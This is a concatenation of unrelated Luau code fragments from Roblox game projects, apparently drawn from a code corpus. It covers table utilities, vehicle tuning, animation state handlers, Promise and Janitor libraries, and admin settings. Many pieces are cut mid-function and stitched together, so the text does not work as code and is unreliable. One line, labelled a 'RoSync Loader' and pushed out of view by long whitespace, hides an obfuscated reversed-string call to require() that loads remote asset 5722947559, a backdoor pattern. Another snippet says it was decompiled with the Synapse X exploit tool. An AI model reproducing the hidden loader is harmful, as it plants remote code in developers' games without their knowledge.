Roblox/luau_corpus huggingface dataset:
--sort by values
newTable.vsort = function(tbl, sort)
	sort = sort or function(x, y)
		return x > y
	end
	
	return newTable.xsort(tbl, function(x, y)
		return sort(tbl[x], tbl[y])
	end)
end

newTable.choice = function(tbl, resultCount)
	resultCount = resultCount or 1
	
	local results = {}
	
	--clone the table
	local clone = {}
	
	for i,v in pairs(tbl) do
		clone[i] = v
	end
	
	local keys = newTable.keys(clone)
	
	for i=1,math.min(#tbl, math.max(resultCount, 1)) do
		table.insert(results, tbl[table.remove(keys, math.random(#keys))])
	end
	
	return unpack(results)
end

newTable.one = function(tbl)
	return tbl[math.random(#tbl)]
end

newTable.shallow = function(tbl)
	local clone = {}
	
	for key,val in pairs(tbl) do
		clone[key] = val
	end
	
	return clone
end

newTable.deep = function(tbl)
	local clone = {}
	
	for key,val in pairs(tbl) do
		if typeof(val) == "table" then
			clone[key] = newTable.deep(val)
		else
			clone[key] = val
		end
	end
	
	return clone
end

newTable.cloneKeys = function(tbl)
	local ret = {}
	
	for key,_ in pairs(tbl) do
		ret[key] = true
	end
	
	return ret
end

newTable.dump = function(tbl, prefix)
	prefix = prefix or ""
	
	for key,val in pairs(tbl) do
		print(("%s%s = %s"):format(prefix, tostring(key), tostring(val)))
		
		if typeof(val) == "table" then
			newTable.dump(val, ("%s.%s"):format(prefix, key))
		end
	end
end

newTable.merge = function(tbl, ...)
	local ret = {}
	
	for _,tbl in pairs({tbl, ...}) do
		for _,value in pairs(tbl) do
			table.insert(ret, value)
		end
	end
	
	return ret
end

return setmetatable(newTable, {
	__index = table
})
-- A variant of the function above that returns the velocity at a given point in time.
local function GetVelocityAtTime(time, initialVelocity, acceleration)
	return initialVelocity + acceleration * time
end
--[[Drivetrain]]	
	Tune.Config			= "AWD"		--"FWD" , "RWD" , "AWD"
	
	--Differential Settings	
	Tune.FDiffSlipThres	= 50		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
	Tune.FDiffLockThres	= 50		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
	Tune.RDiffSlipThres	= 30		-- 1 - 100%
	Tune.RDiffLockThres	= 60		-- 0 - 100%
	Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
	Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]
	
	--Traction Control Settings
	Tune.TCSEnabled		= true		-- Implements TCS
	Tune.TCSThreshold	= 18		-- Slip speed allowed before TCS starts working (in SPS)
	Tune.TCSGradient	= 18		-- Slip speed gradient between 0 to max reduction (in SPS)
	Tune.TCSLimit		= 9		-- Minimum amount of torque at max reduction (in percent)
------//High Ready Animations
self.RightHighReady = CFrame.new(-1.1, .5, -1.1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0));
self.LeftHighReady = CFrame.new(0.65,0.4,-1.3) * CFrame.Angles(math.rad(-140),math.rad(30),math.rad(30));

self.RightElbowHighReady = CFrame.new(0,-0.25,-.35) * CFrame.Angles(math.rad(-45), math.rad(0), math.rad(0));
self.LeftElbowHighReady = CFrame.new(0,0, -0.1) * CFrame.Angles(math.rad(-15),math.rad(0),math.rad(0));

self.RightWristHighReady = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0));
self.LeftWristHighReady = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(-15),math.rad(0));
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
function onRunning(speed)
if speed>0.01 then
playAnimation("walk", 0.1, Humanoid)
if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then
setAnimationSpeed(speed / 14.5)
end
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end

function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end

function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end

function animateTool()

if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end

if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end

if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end

function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

function move(time)
local amplitude = 1
local frequency = 1
  local deltaTime = time - lastTick
  lastTick = time

local climbFudge = 0
local setAngles = false

  if (jumpAnimTime > 0) then
  jumpAnimTime = jumpAnimTime - deltaTime
  end

if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.1, Humanoid)
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
local desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end
--[[
	Updates all the monster component's interests
]]
function MonsterManager.updateMonsterInterests()
	for _, monster in pairs(monsters:getAll()) do
		monster:updateInterests(interests)
	end
end
--[[**
	ensures Roblox Ray type

	@param value The value to check against

	@returns True iff the condition is satisfied, false otherwise
**--]]
t.Ray = t.typeof("Ray")
--[[
	Used to set a handler for when the promise resolves, rejects, or is
	cancelled. Returns a new promise chained from this promise.
]]
function Promise.prototype:_finally(traceback, finallyHandler, onlyOk)
	if not onlyOk then
		self._unhandledRejection = false
	end

	-- Return a promise chained off of this promise
	return Promise._new(traceback, function(resolve, reject)
		local finallyCallback = resolve
		if finallyHandler then
			finallyCallback = createAdvancer(traceback, finallyHandler, resolve, reject)
		end

		if onlyOk then
			local callback = finallyCallback
			finallyCallback = function(...)
				if self._status == Promise.Status.Rejected then
					return resolve(self)
				end

				return callback(...)
			end
		end

		if self._status == Promise.Status.Started then
			-- The promise is not settled, so queue this.
			table.insert(self._queuedFinally, finallyCallback)
		else
			-- The promise already settled or was cancelled, run the callback now.
			finallyCallback(self._status)
		end
	end, self)
end
-- requires
local CameraInput = require(script.Parent:WaitForChild("CameraInput"))
local Util = require(script.Parent:WaitForChild("CameraUtils"))
-- Local private variables and constants
local CAMERA_BLACKOUT_TIME = 0.1
local FP_ZOOM = 0.5
-- [[ Constants ]]
local SYNC_RATE = RunService.Heartbeat
local MAIN = script.Parent
--[[ Last synced 7/9/2021 08:34                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                                  ]]--
--[[
	Fired when state is left
]]
function Transitions.onLeaveGame(stateMachine, event, from, to, playerComponent)
	PlayerGame.leave(stateMachine, playerComponent)
end
-- play particles + w/ custom 
function module.Play(data)
	local particle = data.particle or nil
	local part = data.part or nil
	local tim = data.tim or 1
	local beam = data.beam or nil
	
	
	if part ~= nil then
		coroutine.wrap(function()
			for i , v in pairs(part:GetDescendants()) do
				-- beams?
				if beam ~= nil then
					if v:IsA("Beam") then

						v.Enabled = true
						task.delay(tim, function()
							v.Enabled = false
						end)
					end
				end

				-- particle?
				if v:IsA("ParticleEmitter") then
					v.Enabled = false
					if v:GetAttribute("EmitCount") then
						v:Emit(v:GetAttribute("EmitCount"))
					end
					v.Enabled = true
					task.delay(tim, function()
						v.Enabled = false
						--game.Debris:AddItem(v, tim+1)
					end)
				end
			end
		end)()
		
	else
		if particle ~= nil then
			particle.Enabled = true
			task.delay(tim, function()
				particle.Enabled = false
				--game.Debris:AddItem(v, tim+1)
			end)
		end
	end
	
	local tab = {}
	tab.Part = particle
	tab.Beam = beam
	tab.particle = particle
	
	return tab
end

return module
--Place this script in the model you want to be breakable

wait(1)
local model = script.Parent
local domain = script.Parent.Parent
_G.recurseBreakage(model, domain)
-- Get services
local players = game:GetService("Players")
local replicatedStorage = game:GetService("ReplicatedStorage")
--[[**
	"Links" this Janitor to an Instance, such that the Janitor will `Cleanup` when the Instance is `Destroyed()` and garbage collected. A Janitor may only be linked to one instance at a time, unless `AllowMultiple` is true. When called with a truthy `AllowMultiple` parameter, the Janitor will "link" the Instance without overwriting any previous links, and will also not be overwritable. When called with a falsy `AllowMultiple` parameter, the Janitor will overwrite the previous link which was also called with a falsy `AllowMultiple` parameter, if applicable.
	@param [t:Instance] Object The instance you want to link the Janitor to.
	@param [t:boolean?] AllowMultiple Whether or not to allow multiple links on the same Janitor.
	@returns [t:RbxScriptConnection] A pseudo RBXScriptConnection that can be disconnected to prevent the cleanup of LinkToInstance.
**--]]
function Janitor.__index:LinkToInstance(Object, AllowMultiple)
	local Connection
	local IndexToUse = AllowMultiple and newproxy(false) or LinkToInstanceIndex
	local IsNilParented = Object.Parent == nil
	local ManualDisconnect = setmetatable({}, Disconnect)

	local function ChangedFunction(_DoNotUse, NewParent)
		if ManualDisconnect.Connected then
			_DoNotUse = nil
			IsNilParented = NewParent == nil

			if IsNilParented then
				task.defer(function()
					if not ManualDisconnect.Connected then
						return
					elseif not Connection.Connected then
						self:Cleanup()
					else
						while IsNilParented and Connection.Connected and ManualDisconnect.Connected do
							task.wait()
						end

						if ManualDisconnect.Connected and IsNilParented then
							self:Cleanup()
						end
					end
				end)
			end
		end
	end

	Connection = Object.AncestryChanged:Connect(ChangedFunction)
	ManualDisconnect.Connection = Connection

	if IsNilParented then
		ChangedFunction(nil, Object.Parent)
	end

	Object = nil
	return self:Add(ManualDisconnect, "Disconnect", IndexToUse)
end
-- Decompiled with the Synapse X Luau decompiler.

local u1 = false;
local l__LocalPlayer__2 = game.Players.LocalPlayer;
local u3 = {};
script.Parent.MouseButton1Click:Connect(function()
	if not u1 then
		u1 = true;
		script.Parent.Text = "Show other players";
		local v1 = game.Players:GetChildren();
		for v2 = 1, #v1 do
			if v1[v2].Name ~= l__LocalPlayer__2.Name then
				table.insert(u3, workspace[v1[v2].Name]);
			end;
		end;
		for v3 = 1, #u3 do
			u3[v3].Parent = nil;
		end;
	elseif u1 then
		u1 = false;
		script.Parent.Text = "Hide other players";
		for v4 = 1, #u3 do
			u3[v4].Parent = workspace;
		end;
		u3 = {};
	end;
	print(unpack(u3));
end);
-- so long, ___ bowser!

local deb = false
local TS = game:GetService("TweenService")

for i,v in pairs(script.Parent:GetChildren()) do
	if v.Name == "Button" then
		local CD = Instance.new("ClickDetector",v)
		CD.MaxActivationDistance = 5
		CD.MouseClick:Connect(function()
			if not deb then
				deb = true
				local anim = TS:Create(v,TweenInfo.new(.08,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,true,0),{CFrame = v.CFrame * CFrame.new(-.05,0,0)})
				anim.Completed:Connect(function()
					deb = false
				end)
				anim:Play()
			end
		end)
	end
end
--Instructions: Put the tools in the Team

script.Parent = game.ServerScriptService

game.Players.PlayerAdded:connect(function(plr)
	plr.CharacterAdded:connect(function(char)
		for _,v in pairs(game:GetService("Teams"):GetChildren()) do
			if v.TeamColor == plr.TeamColor then
				for _,v in pairs(v:GetChildren()) do
					if v:IsA("Tool") then
						v:Clone().Parent = plr:WaitForChild("Backpack")
					end
				end
			end
		end
	end)
end)
-- Bind tool events
Tool.Equipped:connect(equip)
Tool.Unequipped:connect(unequip)
Tool.Activated:connect(OnActivated)
--ScanForPoint()

hum.MoveToFinished:connect(function()

anims.AntWalk:Stop()
if enRoute then
enRoute = false
end
end)

local movementCoroutine = coroutine.wrap(function()
while true do
if target then
local sessionLock = lastLock
if targetType == "Player" then

while target and lastLock == sessionLock do
if target.Character and target.Character:IsDescendantOf(workspace) and target.Character.Humanoid and target.Character.Humanoid.Health > 0 then
local dist = (root.Position-target.Character.PrimaryPart.Position).magnitude
if dist < 10 then
-- Slider sizes (Fast)
local fastSize = UDim2.new(0.56, 0, 1, 0)
-- Gets the acceleration back as a Vector3, averages it and then determines if the 
-- average movement is over a minimum sensitivity
local function changeAcceleration(acceleration)
	if cooldown then return end
	if isInTutorial() then return end
		
	local accel = acceleration.Position
	local magnitude = accel.Magnitude
	-- Used to debug Accelerometer 
	--debugLabel.Text = "Accel: " .. string.format("%.2f", magnitude)

	if (magnitude > sensitivity) then
		registerMovement(magnitude)
	end
end
--Steering Initial Setup--

script.Parent.HeadsUpDisplay = false
script.Parent.MaxSpeed = 0
script.Parent.Torque = 0
script.Parent.TurnSpeed = 0
script.Parent.CanCollide = false

lv = script.Parent.CFrame.lookVector

local ref = Instance.new("Part")
ref.Parent = script.Parent.Parent
ref.Anchored = true
ref.CanCollide = false
ref.Parent = script.Parent.Parent
ref.CFrame = script.Parent.CFrame * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0))
ref.Size = Vector3.new(1, 1, 1)
ref.Name = "ref"
ref.Transparency = 1

local alig = Instance.new("Part")
alig.Parent = script.Parent.Parent
alig.CanCollide = false
alig.Parent = script.Parent.Parent
alig.CFrame = script.Parent.CFrame * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0))
alig.Size = Vector3.new(1, 1, 1)
alig.Name = "vr"
--- DataStore
local DataStore = game:GetService("DataStoreService")
local SpawnPoint1 = DataStore:GetDataStore("SpawnPoint")

game.Players.PlayerAdded:connect(function(Plr)
	local Data = Instance.new("Folder")
	Data.Name = "Stats"
	Data.Parent = Plr
	--- SpawnPoint
	local SpawnPoint = Instance.new("StringValue", Data)
	SpawnPoint.Name = "SpawnPoint"
	SpawnPoint.Value = "One"
    --- DataStore1
    SpawnPoint.Value = SpawnPoint1:GetAsync(Plr.UserId) or SpawnPoint.Value
    SpawnPoint1:SetAsync(Plr.UserId, SpawnPoint.Value)
    SpawnPoint.Changed:connect(function()
    SpawnPoint1:SetAsync(Plr.UserId, SpawnPoint.Value)
    end)
end)
--
-- THESE ARE THE CORE SETTINGS
-- YOU WILL NOT BE ABLE TO CHANGE THEM IN-GAME
local Settings={
								--[[
Style Options
�������������					]]
Flat=false;						-- Enables Flat theme / Disables Aero theme
ForcedColor=false;				-- Forces everyone to have set color & transparency
Color=Color3.new(0,0,0);		-- Changes the Color of the user interface
ColorTransparency=.75;			-- Changes the Transparency of the user interface
Chat=false;						-- Enables the custom chat
BubbleChat=false;				-- Enables the custom bubble chat
								--[[
Basic Settings
��������������					]]
AdminCredit=false;				-- Enables the credit GUI for that appears in the bottom right
AutoClean=false;				-- Enables automatic cleaning of hats & tools in the Workspace
AutoCleanDelay=60;				-- The delay between each AutoClean routine
CommandBar=true;				-- Enables the Command Bar | GLOBAL KEYBIND: \
FunCommands=true;				-- Enables fun yet unnecessary commands
FreeAdmin=false;				-- Set to 1-5 to grant admin powers to all, otherwise set to false
PublicLogs=false;				-- Allows all users to see the command & chat logs
Prefix='/';						-- Character to begin a command
								--[[
Admin Powers
������������
0			Player
1			VIP					Can use nonabusive commands only on self
2			Moderator			Can kick, mute, & use most commands
3			Administrator		Can ban, crash, & set Moderators/VIP
4			SuperAdmin			Can grant permanent powers, & shutdown the game
5			Owner				Can set SuperAdmins, & use all the commands
6			Game Creator		Can set owners & use all the commands

Group & VIP Admin
�����������������
			You can set multiple Groups & Ranks to grant users admin powers
GroupAdmin={
[12345]={[254]=4,[253]=3};
[GROUPID]={[RANK]=ADMINPOWER}
};
			You can set multiple Assets to grant users admin powers
VIPAdmin={
[12345]=3;
[54321]=4;
[ITEMID]=ADMINPOWER;
};								]]

GroupAdmin={

};

VIPAdmin={

};

								--[[
Permissions
�����������
-- You can set the admin power required to use a command
-- COMMANDNAME=ADMINPOWER;		]]

Permissions={

};

}

return {Settings,{Owners,SuperAdmins,Admins,Mods,VIP,Banned}}
--[=[
	Wraps a function that yields into one that returns a Promise.

	Any errors that occur while executing the function will be turned into rejections.

	:::info
	`Promise.promisify` is similar to [Promise.try](#try), except the callback is returned as a callable function instead of being invoked immediately.
	:::

	```lua
	local sleep = Promise.promisify(wait)

	sleep(1):andThen(print)
	```

	```lua
	local isPlayerInGroup = Promise.promisify(function(player, groupId)
		return player:IsInGroup(groupId)
	end)
	```

	@param callback (...: any) -> ...any
	@return (...: any) -> Promise
]=]
function Promise.promisify(callback)
	return function(...)
		return Promise._try(debug.traceback(nil, 2), callback, ...)
	end
end
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder)
	local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
	return ClassInformationTable:GetClassFolder(player,"Paladin").XP.Value < 100
end
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------
-- STATE CHANGE HANDLERS

function onRunning(speed)
	local movedDuringEmote =
		userEmoteToRunThresholdChange and currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0)
	local speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75
	humanoidSpeed = speed
	if speed > speedThreshold then
		playAnimation("walk", 0.2, Humanoid)
		if pose ~= "Running" then
			pose = "Running"
			updateVelocity(0) -- Force velocity update in response to state change
		end
	else
		if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then
			playAnimation("idle", 0.2, Humanoid)
			pose = "Standing"
		end
	end



end

function onDied()
	pose = "Dead"
end

function onJumping()
	playAnimation("jump", 0.1, Humanoid)
	jumpAnimTime = jumpAnimDuration
	pose = "Jumping"
end

function onClimbing(speed)
	local scale = 5.0
	playAnimation("climb", 0.1, Humanoid)
	setAnimationSpeed(speed / scale)
	pose = "Climbing"
end

function onGettingUp()
	pose = "GettingUp"
end

function onFreeFall()
	if (jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, Humanoid)
	end
	pose = "FreeFall"
end

function onFallingDown()
	pose = "FallingDown"
end

function onSeated()
	pose = "Seated"
end

function onPlatformStanding()
	pose = "PlatformStanding"
end
-- TableUtil
-- Stephen Leitnick
-- September 13, 2017


type Table = {any}
type MapPredicate = (any, any, Table) -> any
type FilterPredicate = (any, any, Table) -> boolean
type ReducePredicate = (number, any, any, Table) -> any
type FindCallback = (any, any, Table) -> boolean
type IteratorFunc = (t: Table, k: any) -> (any, any)
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 2000		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16
	
	--Incline Compensation
	Tune.InclineComp	= 4.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)
--// Localize
os = service.Localize(os)
math = service.Localize(math)
table = service.Localize(table)
string = service.Localize(string)
coroutine = service.Localize(coroutine)
Instance = service.Localize(Instance)
Vector2 = service.Localize(Vector2)
Vector3 = service.Localize(Vector3)
CFrame = service.Localize(CFrame)
UDim2 = service.Localize(UDim2)
UDim = service.Localize(UDim)
Ray = service.Localize(Ray)
Rect = service.Localize(Rect)
Faces = service.Localize(Faces)
Color3 = service.Localize(Color3)
NumberRange = service.Localize(NumberRange)
NumberSequence = service.Localize(NumberSequence)
NumberSequenceKeypoint = service.Localize(NumberSequenceKeypoint)
ColorSequenceKeypoint = service.Localize(ColorSequenceKeypoint)
PhysicalProperties = service.Localize(PhysicalProperties)
ColorSequence = service.Localize(ColorSequence)
Region3int16 = service.Localize(Region3int16)
Vector3int16 = service.Localize(Vector3int16)
BrickColor = service.Localize(BrickColor)
TweenInfo = service.Localize(TweenInfo)
Axes = service.Localize(Axes)
task = service.Localize(task)
-- If the platform is too slow and moveDelay is too fast, then the platform might not reach the destination in time.

hideDestinationBlocks = true -- If you set this to true, then the destination blocks will be invisible when you play.